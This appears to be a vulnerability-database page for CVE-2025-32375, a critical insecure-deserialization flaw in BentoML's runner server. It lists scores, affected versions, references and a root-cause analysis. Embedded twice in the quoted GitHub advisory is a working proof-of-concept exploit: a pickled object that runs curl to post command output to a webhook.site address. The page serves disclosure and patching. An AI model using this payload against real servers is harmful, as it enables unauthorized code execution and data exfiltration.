CVE-2025-32375
Insecure Deserialization leads to RCE in BentoML's runner server
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.8, there was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. This vulnerability is fixed in 1.4.8.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
Insecure Deserialization leads to RCE in BentoML's runner server
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.8, there was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. This vulnerability is fixed in 1.4.8.
- Record
CVE-2025-32375- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
EUVDEUVD-2025-10547
9.8
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.8, there was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. This vulnerability is fixed in 1.4.8.
- Record
EUVD-2025-10547- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-7v4r-c989-xh26
9.8
BentoML's runner server Vulnerable to Remote Code Execution (RCE) via Insecure Deserialization
Summary
There was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server.
PoC
- First, create a file named model.py to create a simple model and save it
import bentoml
import numpy as np
class mymodel:
def predict(self, info):
return np.abs(info)
def __call__(self, info):
return self.predict(info)
model = mymodel()
bentoml.picklable_model.save_model("mymodel", model)
- Then run the following command to save this model
python3 model.py
- Next, create bentofile.yaml to build this model
service: "service.py"
description: "A model serving service with BentoML"
python:
packages:
- bentoml
- numpy
models:
- tag: MyModel:latest
include:
- "*.py"
- Then, create service.py to host this model
import bentoml
from bentoml.io import NumpyNdarray
import numpy as np
model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner()
svc = bentoml.Service("myservice", runners=[model_runner])
async def predict(input_data: np.ndarray):
input_columns = np.split(input_data, input_data.shape[1], axis=1)
result_generator = model_runner.async_run(input_columns, is_stream=True)
async for result in result_generator:
yield result
- Then, run the following commands to build and host this model
bentoml build
bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 --port 8888
- Finally, run this below python script to exploit insecure deserialization vulnerability in BentoML's runner server.
import requests
import pickle
url = "http://0.0.0.0:8888/"
headers = {
"args-number": "1",
"Content-Type": "application/vnd.bentoml.pickled",
"Payload-Container": "NdarrayContainer",
"Payload-Meta": '{"format": "default"}',
"Batch-Size": "-1",
}
class P:
def __reduce__(self):
return (__import__('os').system, ('curl -X POST -d "$(id)" https://webhook.site/61093bfe-a006-4e9e-93e4-e201eabbb2c3',))
response = requests.post(url, headers=headers, data=pickle.dumps(P()))
print(response)
And I can replace the NdarrayContainer with PandasDataFrameContainer in Payload-Container header and the exploit still working. After running exploit.py then the output of the command id will be send out to the WebHook server.
Root Cause Analysis:
- When handling a request in BentoML runner server in
src/bentoml/_internal/server/runner_app.py, when the request headerargs-numberis equal to 1, it will call the function_deserialize_single_paramlike the code below:
https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L291-L298
async def _request_handler(request: Request) -> Response:
assert self._is_ready
arg_num = int(request.headers["args-number"])
r_: bytes = await request.body()
if arg_num == 1:
params: Params[t.Any] = _deserialize_single_param(request, r_)
- Then this is the function of
_deserialize_single_param, which will take the value of all request headers ofPayload-Container,Payload-MetaandBatch-Sizeand the crafted intoPayloadclass which will contain the data fromrequest.body
https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L376-L393
def _deserialize_single_param(request: Request, bs: bytes) -> Params[t.Any]:
container = request.headers["Payload-Container"]
meta = json.loads(request.headers["Payload-Meta"])
batch_size = int(request.headers["Batch-Size"])
kwarg_name = request.headers.get("Kwarg-Name")
payload = Payload(
data=bs,
meta=meta,
batch_size=batch_size,
container=container,
)
if kwarg_name:
d =…
- Record
GHSA-7v4r-c989-xh26- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
NVD
9.8
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.8, there was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. This vulnerability is fixed in 1.4.8.
- Record
CVE-2025-32375- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSV
9.8
Insecure Deserialization leads to RCE in BentoML's runner server
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.8, there was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. This vulnerability is fixed in 1.4.8.
- Record
CVE-2025-32375- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVGHSA-7v4r-c989-xh26
9.8
BentoML's runner server Vulnerable to Remote Code Execution (RCE) via Insecure Deserialization
Summary
There was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server.
PoC
- First, create a file named model.py to create a simple model and save it
import bentoml
import numpy as np
class mymodel:
def predict(self, info):
return np.abs(info)
def __call__(self, info):
return self.predict(info)
model = mymodel()
bentoml.picklable_model.save_model("mymodel", model)
- Then run the following command to save this model
python3 model.py
- Next, create bentofile.yaml to build this model
service: "service.py"
description: "A model serving service with BentoML"
python:
packages:
- bentoml
- numpy
models:
- tag: MyModel:latest
include:
- "*.py"
- Then, create service.py to host this model
import bentoml
from bentoml.io import NumpyNdarray
import numpy as np
model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner()
svc = bentoml.Service("myservice", runners=[model_runner])
async def predict(input_data: np.ndarray):
input_columns = np.split(input_data, input_data.shape[1], axis=1)
result_generator = model_runner.async_run(input_columns, is_stream=True)
async for result in result_generator:
yield result
- Then, run the following commands to build and host this model
bentoml build
bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0 --port 8888
- Finally, run this below python script to exploit insecure deserialization vulnerability in BentoML's runner server.
import requests
import pickle
url = "http://0.0.0.0:8888/"
headers = {
"args-number": "1",
"Content-Type": "application/vnd.bentoml.pickled",
"Payload-Container": "NdarrayContainer",
"Payload-Meta": '{"format": "default"}',
"Batch-Size": "-1",
}
class P:
def __reduce__(self):
return (__import__('os').system, ('curl -X POST -d "$(id)" https://webhook.site/61093bfe-a006-4e9e-93e4-e201eabbb2c3',))
response = requests.post(url, headers=headers, data=pickle.dumps(P()))
print(response)
And I can replace the NdarrayContainer with PandasDataFrameContainer in Payload-Container header and the exploit still working. After running exploit.py then the output of the command id will be send out to the WebHook server.
Root Cause Analysis:
- When handling a request in BentoML runner server in
src/bentoml/_internal/server/runner_app.py, when the request headerargs-numberis equal to 1, it will call the function_deserialize_single_paramlike the code below:
https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L291-L298
async def _request_handler(request: Request) -> Response:
assert self._is_ready
arg_num = int(request.headers["args-number"])
r_: bytes = await request.body()
if arg_num == 1:
params: Params[t.Any] = _deserialize_single_param(request, r_)
- Then this is the function of
_deserialize_single_param, which will take the value of all request headers ofPayload-Container,Payload-MetaandBatch-Sizeand the crafted intoPayloadclass which will contain the data fromrequest.body
https://github.com/bentoml/BentoML/blob/main/src/bentoml/_internal/server/runner_app.py#L376-L393
def _deserialize_single_param(request: Request, bs: bytes) -> Params[t.Any]:
container = request.headers["Payload-Container"]
meta = json.loads(request.headers["Payload-Meta"])
batch_size = int(request.headers["Batch-Size"])
kwarg_name = request.headers.get("Kwarg-Name")
payload = Payload(
data=bs,
meta=meta,
batch_size=batch_size,
container=container,
)
if kwarg_name:
d =…
- Record
GHSA-7v4r-c989-xh26- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVPYSEC-2025-32
9.8
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.8, there was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. This vulnerability is fixed in 1.4.8.
- Record
PYSEC-2025-32- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
bentomlPyPI |
1.0.0a1 up to 1.4.8 | 1.4.8 |
bentomlPyPI |
1.0.0a1 up to 1.4.8, plus listed versions 1.0.01.0.0a21.0.0a31.0.0a41.0.0a5 Show 45 moreShow less1.0.0a61.0.0a71.0.0rc01.0.0rc11.0.0rc21.0.0rc31.0.101.0.111.0.121.0.131.0.141.0.151.0.161.0.171.0.181.0.191.0.21.0.201.0.211.0.221.0.231.0.241.0.251.0.31.0.41.0.51.0.61.0.71.0.81.0.91.1.01.1.11.1.101.1.111.1.21.1.31.1.41.1.51.1.61.1.71.1.81.1.91.2.01.2.0a01.2.0a1 |
1.4.8 |
bentomlPyPI |
1.0.0 up to 1.4.8, plus listed versions 1.0.101.0.111.0.121.0.131.0.14 Show 45 moreShow less1.0.151.0.161.0.171.0.181.0.191.0.21.0.201.0.211.0.221.0.231.0.241.0.251.0.31.0.41.0.51.0.61.0.71.0.81.0.91.1.01.1.11.1.101.1.111.1.21.1.31.1.41.1.51.1.61.1.71.1.81.1.91.2.01.2.0a01.2.0a11.2.0a21.2.0a31.2.0a41.2.0a51.2.0a61.2.0a71.2.0rc11.2.11.2.101.2.111.2.12 |
1.4.8 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Metasploit | BentoML's runner server RCE | 2025-04-09 |
| PoC in GitHub | SevdaKhidirova/CVE-2025-32375-PoC | 2026-08-05 |
| PoC in GitHub | theGEBIRGE/CVE-2025-32375 | 2025-05-03 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, Metasploit, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-32375 is a critical vulnerability (CVSS 9.8) in Bentoml, published April 9, 2025. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 52.4%, the 98th percentile. Fixed in bentoml 1.4.8.
References
github.com/bentoml/BentoML/security/advisories/GHSA-7v4r-c989-xh26
nvd.nist.gov/vuln/detail/CVE-2025-32375
github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2025-32.yaml
github.com/advisories/GHSA-7v4r-c989-xh26
github.com/CVEProject/cvelistV5/tree/main/cves/2025/32xxx/CVE-2025-32375.json
github.com/bentoml/BentoML
Left out here: 117 versions and the rest of 2 source descriptions. The JSON record has them.